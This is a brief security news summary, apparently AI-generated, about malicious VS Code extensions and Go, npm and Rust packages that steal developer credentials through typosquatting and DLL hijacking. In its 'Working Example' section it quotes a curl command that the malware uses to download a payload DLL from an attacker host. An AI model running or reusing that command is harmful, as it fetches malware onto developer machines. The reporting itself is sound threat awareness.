Malicious Packages Steal Developer Data via VS Code, Go, npm, and Rust
These articles are AI-generated summaries. Please check the original sources for full details.
Malicious Packages Target Developer Workstations
Researchers have identified malicious packages across VS Code extensions, Go, npm, and Rust, designed to steal developer credentials and sensitive data. Two VS Code extensions, “BigBlack.bitcoin-black” and “BigBlack.codo-ai”, were found to contain stealer malware capable of screenshotting, clipboard monitoring, and session hijacking, impacting at least 41 developers before removal.
Why This Matters
Current software supply chain security practices often fail to prevent malicious packages from reaching developers, despite efforts to improve code signing and dependency scanning. The ease with which attackers can disguise malware within seemingly legitimate tools highlights a critical gap between ideal security models and the technical reality. The potential scale of compromise is significant; a single malicious package can affect thousands of projects and expose sensitive data, resulting in substantial financial and reputational damage.
Key Insights
- VS Code extensions removed: Microsoft removed three malicious extensions from the VS Code Marketplace on December 5th and 8th, 2025.
- Typosquatting: Attackers leverage typosquatting techniques, like mimicking popular UUID libraries in Go, to trick developers into installing malicious packages.
- DLL Hijacking: The Lightshot binary was exploited via DLL hijacking, allowing attackers to inject malicious code and steal data.
Working Example
# Example of a curl command used by the malicious extensions to download the payload:
curl -s -o Lightshot.dll "http://syn1112223334445556667778889990[.]org/Lightshot.dll"
Practical Applications
- CI/CD Pipeline Security: Companies like Stripe and Coinbase utilize robust CI/CD pipeline security checks to verify the integrity of dependencies and prevent the introduction of malicious code.
- Pitfall: Relying solely on package name verification is insufficient; attackers use similar names (typosquatting) to distribute malicious packages, leading to widespread compromise.
References:
Continue reading
Next article
STAC6565 Shifts Focus to Canada in QWCrypt Ransomware Attacks
Related Content
27 Malicious npm Packages Used as Phishing Infrastructure to Steal Login Credentials
Researchers identified 27 malicious npm packages used over five months to host phishing pages, resulting in credential theft from targeted organizations.
New Shai-Hulud Strain and Fake Jackson Package Target Developers
Researchers discovered a modified Shai-Hulud npm worm and a malicious Jackson Maven package, highlighting ongoing supply chain attacks targeting developer credentials.
Malicious VS Code Extensions Harvest Developer Source Code
Two VS Code AI extensions with 1.5 million installs were found to exfiltrate developer source code to servers in China.